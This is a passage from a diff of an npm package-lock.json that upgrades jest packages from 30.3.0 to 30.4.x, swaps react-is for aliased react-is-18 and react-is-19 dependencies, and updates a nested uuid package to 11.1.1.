"uuid@10 and below is no longer supported. For ESM codebases, update to uuid@latest. For CommonJS codebases, use uuid@11 (but be aware this version will likely be deprecated in 2028).", - "dev": true, - "license": "MIT", - "bin": { - "uuid": "dist/bin/uuid" - } - }, "node_modules/istanbul-lib-report": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", @@ -12189,16 +12953,16 @@ } }, "node_modules/jest": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest/-/jest-30.3.0.tgz", - "integrity": "sha512-AkXIIFcaazymvey2i/+F94XRnM6TsVLZDhBMLsd1Sf/W0wzsvvpjeyUrCZD6HGG4SDYPgDJDBKeiJTBb10WzMg==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest/-/jest-30.4.2.tgz", + "integrity": "sha512-Yi1jqNC/Oq0N4hBgNH/YvBpP1P57QqundgytzYqy3yqAa7NZPNjSoi4SGbRAXDMdBzNE6xBCi5U7RgfrvMEUVQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/core": "30.3.0", - "@jest/types": "30.3.0", + "@jest/core": "30.4.2", + "@jest/types": "30.4.1", "import-local": "^3.2.0", - "jest-cli": "30.3.0" + "jest-cli": "30.4.2" }, "bin": { "jest": "bin/jest.js" @@ -12216,14 +12980,14 @@ } }, "node_modules/jest-changed-files": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-30.3.0.tgz", - "integrity": "sha512-B/7Cny6cV5At6M25EWDgf9S617lHivamL8vl6KEpJqkStauzcG4e+WPfDgMMF+H4FVH4A2PLRyvgDJan4441QA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-30.4.1.tgz", + "integrity": "sha512-IuctmYrxi21iOSOaIXpJWalHyPAsVv0GeBHKDn8C1CA4W5htHn7INL+wdnL4Bo0+olEndvAFkmb++tIQJG+vvg==", "dev": true, "license": "MIT", "dependencies": { "execa": "^5.1.1", - "jest-util": "30.3.0", + "jest-util": "30.4.1", "p-limit": "^3.1.0" }, "engines": { @@ -12231,13 +12995,13 @@ } }, "node_modules/jest-changed-files/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12249,29 +13013,29 @@ } }, "node_modules/jest-circus": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-30.3.0.tgz", - "integrity": "sha512-PyXq5szeSfR/4f1lYqCmmQjh0vqDkURUYi9N6whnHjlRz4IUQfMcXkGLeEoiJtxtyPqgUaUUfyQlApXWBSN1RA==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-30.4.2.tgz", + "integrity": "sha512-rvHH7VlY6LgbJXJTQ87GW62g1FntOtbhh0zT+v04kC+pgL6aBKyYINXxWukCpj3dcIBMw5/XUbtDS9dU9JTXeQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/expect": "30.3.0", - "@jest/test-result": "30.3.0", - "@jest/types": "30.3.0", + "@jest/environment": "30.4.1", + "@jest/expect": "30.4.1", + "@jest/test-result": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "co": "^4.6.0", "dedent": "^1.6.0", "is-generator-fn": "^2.1.0", - "jest-each": "30.3.0", - "jest-matcher-utils": "30.3.0", - "jest-message-util": "30.3.0", - "jest-runtime": "30.3.0", - "jest-snapshot": "30.3.0", - "jest-util": "30.3.0", + "jest-each": "30.4.1", + "jest-matcher-utils": "30.4.1", + "jest-message-util": "30.4.1", + "jest-runtime": "30.4.2", + "jest-snapshot": "30.4.1", + "jest-util": "30.4.1", "p-limit": "^3.1.0", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "pure-rand": "^7.0.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" @@ -12294,51 +13058,52 @@ } }, "node_modules/jest-circus/node_modules/jest-diff": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.3.0.tgz", - "integrity": "sha512-n3q4PDQjS4LrKxfWB3Z5KNk1XjXtZTBwQp71OP0Jo03Z6V60x++K5L8k6ZrW8MY8pOFylZvHM0zsjS1RqlHJZQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.4.1.tgz", + "integrity": "sha512-CRpFK0RtLriVDGcPPAnR6HMVI8bSR2jnUIgralhauzYQZIb4RH9AtEInTuQr65LmmGggGcRT6HIASxwqsVsmlA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/diff-sequences": "30.3.0", + "@jest/diff-sequences": "30.4.0", "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "pretty-format": "30.3.0" + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-circus/node_modules/jest-matcher-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.3.0.tgz", - "integrity": "sha512-HEtc9uFQgaUHkC7nLSlQL3Tph4Pjxt/yiPvkIrrDCt9jhoLIgxaubo1G+CFOnmHYMxHwwdaSN7mkIFs6ZK8OhA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.4.1.tgz", + "integrity": "sha512-zvYfX5CaeEkFrrLS9suWe9rvJrm9J1Iv3ua8kIBv9GEPzcnsfBf0bob37la7s67fs0nlBC3EuvkOLnXQKxtx4A==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "jest-diff": "30.3.0", - "pretty-format": "30.3.0" + "jest-diff": "30.4.1", + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-circus/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -12347,13 +13112,13 @@ } }, "node_modules/jest-circus/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12365,43 +13130,37 @@ } }, "node_modules/jest-circus/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-circus/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-cli": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-30.3.0.tgz", - "integrity": "sha512-l6Tqx+j1fDXJEW5bqYykDQQ7mQg+9mhWXtnj+tQZrTWYHyHoi6Be8HPumDSA+UiX2/2buEgjA58iJzdj146uCw==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-30.4.2.tgz", + "integrity": "sha512-jfA2ocvVHMXS2QijrJ0d31ektP+d/W0T5RpcTX2Pq+3sVqHlsXVCM2+FmwpL+bdY8OfHpIg9xMxLF17Zg0U49Q==", "dev": true, "license": "MIT", "dependencies": { - "@jest/core": "30.3.0", - "@jest/test-result": "30.3.0", - "@jest/types": "30.3.0", + "@jest/core": "30.4.2", + "@jest/test-result": "30.4.1", + "@jest/types": "30.4.1", "chalk": "^4.1.2", "exit-x": "^0.2.2", "import-local": "^3.2.0", - "jest-config": "30.3.0", - "jest-util": "30.3.0", - "jest-validate": "30.3.0", + "jest-config": "30.4.2", + "jest-util": "30.4.1", + "jest-validate": "30.4.1", "yargs": "^17.7.2" }, "bin": { @@ -12420,13 +13179,13 @@ } }, "node_modules/jest-cli/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12438,33 +13197,33 @@ } }, "node_modules/jest-config": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-30.3.0.tgz", - "integrity": "sha512-WPMAkMAtNDY9P/oKObtsRG/6KTrhtgPJoBTmk20uDn4Uy6/3EJnnaZJre/FMT1KVRx8cve1r7/FlMIOfRVWL4w==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-30.4.2.tgz", + "integrity": "sha512-rNHAShJQqQwFNoL0hbf3BphSBOWnpOUAKvidLS/AjNVLPfoj5mSf4jQMfW3cYOs6hXeZC7nF7mDHaBnbxELOzg==", "dev": true, "license": "MIT", "dependencies": { "@babel/core": "^7.27.4", "@jest/get-type": "30.1.0", - "@jest/pattern": "30.0.1", - "@jest/test-sequencer": "30.3.0", - "@jest/types": "30.3.0", - "babel-jest": "30.3.0", + "@jest/pattern": "30.4.0", + "@jest/test-sequencer": "30.4.1", + "@jest/types": "30.4.1", + "babel-jest": "30.4.1", "chalk": "^4.1.2", "ci-info": "^4.2.0", "deepmerge": "^4.3.1", "glob": "^10.5.0", "graceful-fs": "^4.2.11", - "jest-circus": "30.3.0", - "jest-docblock": "30.2.0", - "jest-environment-node": "30.3.0", - "jest-regex-util": "30.0.1", - "jest-resolve": "30.3.0", - "jest-runner": "30.3.0", - "jest-util": "30.3.0", - "jest-validate": "30.3.0", + "jest-circus": "30.4.2", + "jest-docblock": "30.4.0", + "jest-environment-node": "30.4.1", + "jest-regex-util": "30.4.0", + "jest-resolve": "30.4.1", + "jest-runner": "30.4.2", + "jest-util": "30.4.1", + "jest-validate": "30.4.1", "parse-json": "^5.2.0", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "strip-json-comments": "^3.1.1" }, @@ -12502,13 +13261,13 @@ } }, "node_modules/jest-config/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12520,27 +13279,21 @@ } }, "node_modules/jest-config/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-config/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-diff": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", @@ -12613,9 +13366,9 @@ "license": "MIT" }, "node_modules/jest-docblock": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-30.2.0.tgz", - "integrity": "sha512-tR/FFgZKS1CXluOQzZvNH3+0z9jXr3ldGSD8bhyuxvlVUwbeLOGynkunvlTMxchC5urrKndYiwCFC0DLVjpOCA==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-30.4.0.tgz", + "integrity": "sha512-ZPMabUZCx5MpbZ2eBYSvZ0J8fvo3dR9oM+eeUpb3aKNQFuS2tu3Duw1TNlMoP8k3WQgKGJuhcMFvwcVuq6T7oA==", "dev": true, "license": "MIT", "dependencies": { @@ -12626,17 +13379,17 @@ } }, "node_modules/jest-each": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-30.3.0.tgz", - "integrity": "sha512-V8eMndg/aZ+3LnCJgSm13IxS5XSBM22QSZc9BtPK8Dek6pm+hfUNfwBdvsB3d342bo1q7wnSkC38zjX259qZNA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-30.4.1.tgz", + "integrity": "sha512-/8MJbH6fuj48TstjrMf+u/pd06Qezz5xOXvZA6442heNOWr8bdeoGZX2d9fCn028CoMgYmroH9//zky5GfyYmA==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "chalk": "^4.1.2", - "jest-util": "30.3.0", - "pretty-format": "30.3.0" + "jest-util": "30.4.1", + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -12656,13 +13409,13 @@ } }, "node_modules/jest-each/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12674,36 +13427,30 @@ } }, "node_modules/jest-each/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-each/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-environment-jsdom": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.3.0.tgz", - "integrity": "sha512-RLEOJy6ip1lpw0yqJ8tB3i88FC7VBz7i00Zvl2qF71IdxjS98gC9/0SPWYIBVXHm5hgCYK0PAlSlnHGGy9RoMg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.4.1.tgz", + "integrity": "sha512-o3nfaN4zej7qgk2X0j8Jhq/S9nAVKs2xK3QeQxeHVvpkEPxaA1yxDGydR+iVI7zPy7Cp62Aq2h3Ja46QvfWHGA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/environment-jsdom-abstract": "30.3.0", + "@jest/environment": "30.4.1", + "@jest/environment-jsdom-abstract": "30.4.1", "jsdom": "^26.1.0" }, "engines": { @@ -12719,32 +13466,32 @@ } }, "node_modules/jest-environment-node": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-30.3.0.tgz", - "integrity": "sha512-4i6HItw/JSiJVsC5q0hnKIe/hbYfZLVG9YJ/0pU9Hz2n/9qZe3Rhn5s5CUZA5ORZlcdT/vmAXRMyONXJwPrmYQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-30.4.1.tgz", + "integrity": "sha512-4FZYVOk85hz2AyT6BbarKy9u37g6DbrDyCdFhsnDdXqyrueYQvB+0zO4f/kqLCRD0BsPRXPMNJeQwihKZV8naw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/fake-timers": "30.3.0", - "@jest/types": "30.3.0", + "@jest/environment": "30.4.1", + "@jest/fake-timers": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", - "jest-mock": "30.3.0", - "jest-util": "30.3.0", - "jest-validate": "30.3.0" + "jest-mock": "30.4.1", + "jest-util": "30.4.1", + "jest-validate": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-environment-node/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12766,20 +13513,20 @@ } }, "node_modules/jest-haste-map": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-30.3.0.tgz", - "integrity": "sha512-mMi2oqG4KRU0R9QEtscl87JzMXfUhbKaFqOxmjb2CKcbHcUGFrJCBWHmnTiUqi6JcnzoBlO4rWfpdl2k/RfLCA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-30.4.1.tgz", + "integrity": "sha512-rFrcONd8jeFsyw+Z9CrScJgglRf2+NFmNam8dKu7n+SoHqNYT47mn0DdEcVUZJpvh7Iz6/si7f7yUH7GJHVgnw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "anymatch": "^3.1.3", "fb-watchman": "^2.0.2", "graceful-fs": "^4.2.11", - "jest-regex-util": "30.0.1", - "jest-util": "30.3.0", - "jest-worker": "30.3.0", + "jest-regex-util": "30.4.0", + "jest-util": "30.4.1", + "jest-worker": "30.4.1", "picomatch": "^4.0.3", "walker": "^1.0.8" }, @@ -12791,13 +13538,13 @@ } }, "node_modules/jest-haste-map/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -12825,25 +13572,28 @@ } }, "node_modules/jest-junit/node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "deprecated": "uuid@10 and below is no longer supported. For ESM codebases, update to uuid@latest. For CommonJS codebases, use uuid@11 (but be aware this version will likely be deprecated in 2028).", + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.1.tgz", + "integrity": "sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ==", "dev": true, + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], "license": "MIT", "bin": { - "uuid": "dist/bin/uuid" + "uuid": "dist/esm/bin/uuid" } }, "node_modules/jest-leak-detector": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-30.3.0.tgz", - "integrity": "sha512-cuKmUUGIjfXZAiGJ7TbEMx0bcqNdPPI6P1V+7aF+m/FUJqFDxkFR4JqkTu8ZOiU5AaX/x0hZ20KaaIPXQzbMGQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-30.4.1.tgz", + "integrity": "sha512-IpmyiioeHxiWDhesHnUFmOxcTzwCwKpgACgWajtAP+nYQXiY7DakTxB6Bx9JFiRMljr0AX1PvnQdaU1KFoz6NQ==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", - "pretty-format": "30.3.0" + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -12863,27 +13613,21 @@ } }, "node_modules/jest-leak-detector/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-leak-detector/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-matcher-utils": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", @@ -13050,28 +13794,28 @@ "license": "MIT" }, "node_modules/jest-mock": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.3.0.tgz", - "integrity": "sha512-OTzICK8CpE+t4ndhKrwlIdbM6Pn8j00lvmSmq5ejiO+KxukbLjgOflKWMn3KE34EZdQm5RqTuKj+5RIEniYhog==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.4.1.tgz", + "integrity": "sha512-/i8SVb8/NSB7RfNi8gfqu8gxLV23KaL5EpAttyb9iz8qWRIqXRLflycz/32wXsYkOnaUlx8NAKnJYtpsmXUmfw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", - "jest-util": "30.3.0" + "jest-util": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-mock/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + 